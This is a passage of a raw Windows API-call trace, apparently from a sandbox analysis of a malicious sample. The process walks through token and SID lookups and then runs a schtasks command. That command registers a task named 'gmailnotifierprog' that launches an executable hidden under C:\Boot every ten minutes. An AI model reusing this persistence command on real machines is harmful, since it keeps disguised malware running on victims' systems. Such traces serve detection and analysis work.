IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0d34 [0108.021] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0108.021] malloc (_Size=0x18) returned 0x196ef0d1c60 [0108.022] malloc (_Size=0x18) returned 0x196ef0d2000 [0108.022] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0108.022] SysStringLen (param_1="-") returned 0x1 [0108.022] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x3e | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0108.022] memcpy (in: _Dst=0x196ee7ba874, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee7ba874) returned 0x196ee7ba874 [0108.022] free (_Block=0x196ef0d1f20) [0108.022] free (_Block=0x196ef0d1c60) [0108.022] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0108.022] malloc (_Size=0x18) returned 0x196ef0d1c60 [0108.022] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0108.022] SysStringLen (param_1="1811730007") returned 0xa [0108.022] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x40 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0108.022] memcpy (in: _Dst=0x196ee7bbb96, _Src=0x196ee7aab38, _Size=0x16 | out: _Dst=0x196ee7bbb96) returned 0x196ee7bbb96 [0108.022] free (_Block=0x196ef0d2000) [0108.022] free (_Block=0x196ef0d1ac0) [0108.022] GetSidSubAuthority (pSid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0d38 [0108.022] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0108.022] malloc (_Size=0x18) returned 0x196ef0d1e20 [0108.022] malloc (_Size=0x18) returned 0x196ef0d20e0 [0108.022] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0108.022] SysStringLen (param_1="-") returned 0x1 [0108.022] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x54 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0108.022] memcpy (in: _Dst=0x196ee7ba88a, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee7ba88a) returned 0x196ee7ba88a [0108.022] free (_Block=0x196ef0d1c60) [0108.022] free (_Block=0x196ef0d1e20) [0108.022] malloc (_Size=0x18) returned 0x196ef0d1b40 [0108.023] malloc (_Size=0x18) returned 0x196ef0d1960 [0108.023] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0108.023] SysStringLen (param_1="1000") returned 0x4 [0108.023] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x56 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0108.023] memcpy (in: _Dst=0x196ee7bbbac, _Src=0x196ee7aab38, _Size=0xa | out: _Dst=0x196ee7bbbac) returned 0x196ee7bbbac [0108.023] free (_Block=0x196ef0d20e0) [0108.023] free (_Block=0x196ef0d1b40) [0108.023] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0108.023] malloc (_Size=0x5e) returned 0x196ef0d0610 [0108.023] free (_Block=0x196ef0d1960) [0108.023] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0108.024] free (_Block=0x196ef0d0610) [0108.024] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 0 [0108.025] GetLastError () returned 0x7a [0108.025] malloc (_Size=0x1a) returned 0x196ef0f9e20 [0108.025] malloc (_Size=0xe) returned 0x196ef0d1d00 [0108.025] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9e20, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1d00, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 1 [0108.026] malloc (_Size=0x18) returned 0x196ef0d1a40 [0108.026] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0108.026] free (_Block=0x196ef0f9e20) [0108.026] free (_Block=0x196ef0d1d00) [0108.026] free (_Block=0x196ef0f9e80) [0108.026] free (_Block=0x196ef0d1ea0) [0108.026] free (_Block=0x196ef0d1a40) [0108.026] free (_Block=0x196ef0d1ba0) [0108.027] free (_Block=0x196ef0d0d10) [0108.027] GetVersionExW (in: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0xee7b29f8, dwBuildNumber=0x196, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0108.027] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0108.027] GetLastError () returned 0x7a [0108.027] malloc (_Size=0x2c) returned 0x196ef0d1890 [0108.027] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x196ef0d1890, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d1890, ReturnLength=0x67117c740) returned 1 [0108.027] IsValidSid (pSid=0x196ef0d18a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0108.027] GetLengthSid (pSid=0x196ef0d18a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0108.027] malloc (_Size=0x1c) returned 0x196ef0f9c70 [0108.027] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9c70, pSourceSid=0x196ef0d18a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9c70*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0108.027] GetSidIdentifierAuthority (pSid=0x196ef0d18a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d18a2 [0108.027] malloc (_Size=0x18) returned 0x196ef0d1980 [0108.028] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0108.028] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0108.028] malloc (_Size=0x18) returned 0x196ef0d1e60 [0108.028] SysStringLen (param_1="S-1-") returned 0x4 [0108.028] SysStringLen (param_1="5") returned 0x1 [0108.028] memcpy (in: _Dst=0x196ee7aa9e8, _Src=0x196ee7aab38, _Size=0xa | out: _Dst=0x196ee7aa9e8) returned 0x196ee7aa9e8 [0108.028] memcpy (in: _Dst=0x196ee7aa9f0, _Src=0x196ee7aa658, _Size=0x4 | out: _Dst=0x196ee7aa9f0) returned 0x196ee7aa9f0 [0108.028] free (_Block=0x196ef0d1980) [0108.028] free (_Block=0x196ef0d1ea0) [0108.028] GetSidSubAuthorityCount (pSid=0x196ef0d18a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d18a1 [0108.028] GetSidSubAuthority (pSid=0x196ef0d18a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d18a8 [0108.028] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0108.028] malloc (_Size=0x18) returned 0x196ef0d1960 [0108.028] malloc (_Size=0x18) returned 0x196ef0d1a60 [0108.028] SysStringLen (param_1="S-1-5") returned 0x5 [0108.028] SysStringLen (param_1="-") returned 0x1 [0108.029] memcpy (in: _Dst=0x196ee7aa658, _Src=0x196ee7aa9e8, _Size=0xc | out: _Dst=0x196ee7aa658) returned 0x196ee7aa658 [0108.029] memcpy (in: _Dst=0x196ee7aa662, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee7aa662) returned 0x196ee7aa662 [0108.029] free (_Block=0x196ef0d1e60) [0108.029] free (_Block=0x196ef0d1960) [0108.029] malloc (_Size=0x18) returned 0x196ef0d1f60 [0108.029] malloc (_Size=0x18) returned 0x196ef0d1f20 [0108.029] SysStringLen (param_1="S-1-5-") returned 0x6 [0108.029] SysStringLen (param_1="21") returned 0x2 [0108.029] memcpy (in: _Dst=0x196ee7aab38, _Src=0x196ee7aa658, _Size=0xe | out: _Dst=0x196ee7aab38) returned 0x196ee7aab38 [0108.029] memcpy (in: _Dst=0x196ee7aab44, _Src=0x196ee7aa9e8, _Size=0x6 | out: _Dst=0x196ee7aab44) returned 0x196ee7aab44 [0108.029] free (_Block=0x196ef0d1a60) [0108.029] free (_Block=0x196ef0d1f60) [0108.029] GetSidSubAuthority (pSid=0x196ef0d18a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d18ac [0108.029] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0108.029] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0108.029] malloc (_Size=0x18) returned 0x196ef0d20e0 [0108.029] SysStringLen (param_1="S-1-5-21") returned 0x8 [0108.029] SysStringLen (param_1="-") returned 0x1 [0108.029] memcpy (in: _Dst=0x196ee7aa9e8, _Src=0x196ee7aab38, _Size=0x12 | out: _Dst=0x196ee7aa9e8) returned 0x196ee7aa9e8 [0108.029] memcpy (in: _Dst=0x196ee7aa9f8, _Src=0x196ee7aa658, _Size=0x4 | out: _Dst=0x196ee7aa9f8) returned 0x196ee7aa9f8 [0108.029] free (_Block=0x196ef0d1f20) [0108.029] free (_Block=0x196ef0d1ca0) [0108.029] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0108.029] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0108.029] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0108.029] SysStringLen (param_1="1560258661") returned 0xa [0108.029] memcpy (in: _Dst=0x196ee777d98, _Src=0x196ee7aa9e8, _Size=0x14 | out: _Dst=0x196ee777d98) returned 0x196ee777d98 [0108.030] memcpy (in: _Dst=0x196ee777daa, _Src=0x196ee7aab38, _Size=0x16 | out: _Dst=0x196ee777daa) returned 0x196ee777daa [0108.030] free (_Block=0x196ef0d20e0) [0108.030] free (_Block=0x196ef0d1aa0) [0108.030] GetSidSubAuthority (pSid=0x196ef0d18a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d18b0 [0108.030] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0108.030] malloc (_Size=0x18) returned 0x196ef0d1b40 [0108.030] malloc (_Size=0x18) returned 0x196ef0d1c00 [0108.030] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0108.030] SysStringLen (param_1="-") returned 0x1 [0108.030] memcpy (in: _Dst=0x196ee777ed8, _Src=0x196ee777d98, _Size=0x28 | out: _Dst=0x196ee777ed8) returned 0x196ee777ed8 [0108.030] memcpy (in: _Dst=0x196ee777efe, _Src=0x196ee7aa9e8, _Size=0x4 | out: _Dst=0x196ee777efe) returned 0x196ee777efe [0108.030] free (_Block=0x196ef0d1ce0) [0108.030] free (_Block=0x196ef0d1b40) [0108.030] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0108.030] malloc (_Size=0x18) returned 0x196ef0d1b60 [0108.030] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0108.030] SysStringLen (param_1="3990802383") returned 0xa [0108.030] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee777ed8, _Size=0x2a | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0108.030] memcpy (in: _Dst=0x196ee7ba860, _Src=0x196ee7aa9e8, _Size=0x16 | out: _Dst=0x196ee7ba860) returned 0x196ee7ba860 [0108.030] free (_Block=0x196ef0d1c00) [0108.030] free (_Block=0x196ef0d1fa0) [0108.030] GetSidSubAuthority (pSid=0x196ef0d18a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d18b4 [0108.030] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0108.030] malloc (_Size=0x18) returned 0x196ef0d1de0 [0108.030] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0108.030] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0108.031] SysStringLen (param_1="-") returned 0x1 [0108.031] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x3e | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0108.031] memcpy (in: _Dst=0x196ee7bbb94, _Src=0x196ee7aa9e8, _Size=0x4 | out: _Dst=0x196ee7bbb94) returned 0x196ee7bbb94 [0108.031] free (_Block=0x196ef0d1b60) [0108.031] free (_Block=0x196ef0d1de0) [0108.031] malloc (_Size=0x18) returned 0x196ef0d1f40 [0108.031] malloc (_Size=0x18) returned 0x196ef0d1d40 [0108.031] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0108.031] SysStringLen (param_1="1811730007") returned 0xa [0108.031] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x40 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0108.031] memcpy (in: _Dst=0x196ee7ba876, _Src=0x196ee7aa9e8, _Size=0x16 | out: _Dst=0x196ee7ba876) returned 0x196ee7ba876 [0108.031] free (_Block=0x196ef0d1ba0) [0108.031] free (_Block=0x196ef0d1f40) [0108.031] GetSidSubAuthority (pSid=0x196ef0d18a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d18b8 [0108.031] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0108.031] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0108.031] malloc (_Size=0x18) returned 0x196ef0d1a80 [0108.031] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0108.031] SysStringLen (param_1="-") returned 0x1 [0108.031] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x54 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0108.031] memcpy (in: _Dst=0x196ee7bbbaa, _Src=0x196ee7aa9e8, _Size=0x4 | out: _Dst=0x196ee7bbbaa) returned 0x196ee7bbbaa [0108.031] free (_Block=0x196ef0d1d40) [0108.031] free (_Block=0x196ef0d1ac0) [0108.031] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0108.031] malloc (_Size=0x18) returned 0x196ef0d1c40 [0108.031] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0108.032] SysStringLen (param_1="1000") returned 0x4 [0108.032] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x56 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0108.032] memcpy (in: _Dst=0x196ee7ba88c, _Src=0x196ee7aa9e8, _Size=0xa | out: _Dst=0x196ee7ba88c) returned 0x196ee7ba88c [0108.032] free (_Block=0x196ef0d1a80) [0108.032] free (_Block=0x196ef0d1ac0) [0108.032] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0108.032] malloc (_Size=0x5e) returned 0x196ef0d0610 [0108.032] free (_Block=0x196ef0d1c40) [0108.032] malloc (_Size=0x18) returned 0x196ef0d19c0 [0108.032] free (_Block=0x196ef0d0610) [0108.032] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d18a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 0 [0108.033] GetLastError () returned 0x7a [0108.033] malloc (_Size=0x1a) returned 0x196ef0f9e20 [0108.033] malloc (_Size=0xe) returned 0x196ef0d2080 [0108.033] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d18a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9e20, cchName=0x67117c600, ReferencedDomainName=0x196ef0d2080, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 1 [0108.034] malloc (_Size=0x18) returned 0x196ef0d20e0 [0108.034] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0108.034] free (_Block=0x196ef0f9e20) [0108.034] free (_Block=0x196ef0d2080) [0108.034] free (_Block=0x196ef0f9c70) [0108.035] free (_Block=0x196ef0d1fc0) [0108.035] free (_Block=0x196ef0d20e0) [0108.035] free (_Block=0x196ef0d19c0) [0108.035] free (_Block=0x196ef0d1890) [0108.036] SetEvent (hEvent=0x248) returned 1 [0108.037] free (_Block=0x196ef0d5500) [0108.037] CreateEnvironmentBlock () returned 0x1 [0108.041] malloc (_Size=0x18) returned 0x196ef0d1960 [0108.041] CreateProcessAsUserW (in: hToken=0x26c, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"gmailnotifierprog\" /sc MINUTE /mo 10 /tr \"'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x196ef1f3020, lpCurrentDirectory=0x0, lpStartupInfo=0x67117c860*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x67117c708 | out: lpCommandLine="schtasks.exe /create /tn \"gmailnotifierprog\" /sc MINUTE /mo 10 /tr \"'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'\" /f", lpProcessInformation=0x67117c708*(hProcess=0x260, hThread=0x264, dwProcessId=0x1200, dwThreadId=0x11f0)) returned 1 [0108.051] CloseHandle (hObject=0x260) returned 1 [0108.051] CloseHandle (hObject=0x264) returned 1 [0108.051] free (_Block=0x196ef0d1960) [0108.051] DestroyEnvironmentBlock () returned 0x1 [0108.051] malloc (_Size=0x48) returned 0x196ef0d5c80 [0108.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117c6e0 | out: lpSystemTimeAsFileTime=0x67117c6e0*(dwLowDateTime=0x2141ffa7, dwHighDateTime=0x1d9eb0c)) [0108.052] SetEvent (hEvent=0x248) returned 1 [0108.052] CloseHandle (hObject=0x270) returned 1 [0108.052] CloseHandle (hObject=0x26c) returned 1 [0108.065] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ee788350 [0108.066] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee788350, pulNumLanguages=0x67117dfe0 | out: pulNumLanguages=0x67117dfe0) returned 1 [0108.066] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788350) returned 1 [0108.066] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0108.328] RtlRestoreLastWin32Error () returned 0x670dbf000 [0108.328] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10) returned 1 [0108.328] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788330 [0108.328] RtlRestoreLastWin32Error () returned 0x670dbf000 [0108.328] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x67117de10) returned 1 [0108.328] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788350 [0108.328] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0108.328] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee7a7d80 [0108.328] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee7a7d80, pulNumLanguages=0x67117df18 | out: pulNumLanguages=0x67117df18) returned 1 [0108.329] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7a7d80) returned 1 [0108.331] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0108.332] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0108.332] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0108.333] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0108.333] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0108.336] GetCurrentThread () returned 0xfffffffffffffffe [0108.336] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x67117c7a0 | out: TokenHandle=0x67117c7a0*=0x26c) returned 1 [0108.336] DuplicateTokenEx (in: hExistingToken=0x26c, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x19600000001, phNewToken=0x67117c7b8 | out: phNewToken=0x67117c7b8*=0x270) returned 1 [0108.336] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0108.336] GetLastError () returned 0x7a [0108.336] malloc (_Size=0x2c) returned 0x196ef0d0950 [0108.336] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x196ef0d0950, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d0950, ReturnLength=0x67117c740) returned 1 [0108.336] IsValidSid (pSid=0x196ef0d0960*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0108.336] GetLengthSid (pSid=0x196ef0d0960*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0108.336] malloc (_Size=0x1c) returned 0x196ef0f9fa0 [0108.336] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9fa0, pSourceSid=0x196ef0d0960*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0108.336] GetSidIdentifierAuthority (pSid=0x196ef0d0960*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0962 [0108.336] malloc (_Size=0x18) returned 0x196ef0d1a60 [0108.336] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0108.336] malloc (_Size=0x18) returned 0x196ef0d1e60 [0108.337] malloc (_Size=0x18) returned 0x196ef0d1c40 [0108.337] SysStringLen (param_1="S-1-") returned 0x4 [0108.337] SysStringLen (param_1="5") returned 0x1 [0108.337] memcpy (in: _Dst=0x196ee7aa958, _Src=0x196ee7aa9b8, _Size=0xa | out: _Dst=0x196ee7aa958) returned 0x196ee7aa958 [0108.337] memcpy (in: _Dst=0x196ee7aa960, _Src=0x196ee7c7678, _Size=0x4 | out: _Dst=0x196ee7aa960) returned 0x196ee7aa960 [0108.337] free (_Block=0x196ef0d1a60) [0108.337] free (_Block=0x196ef0d1e60) [0108.337] GetSidSubAuthorityCount (pSid=0x196ef0d0960*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0961 [0108.337] 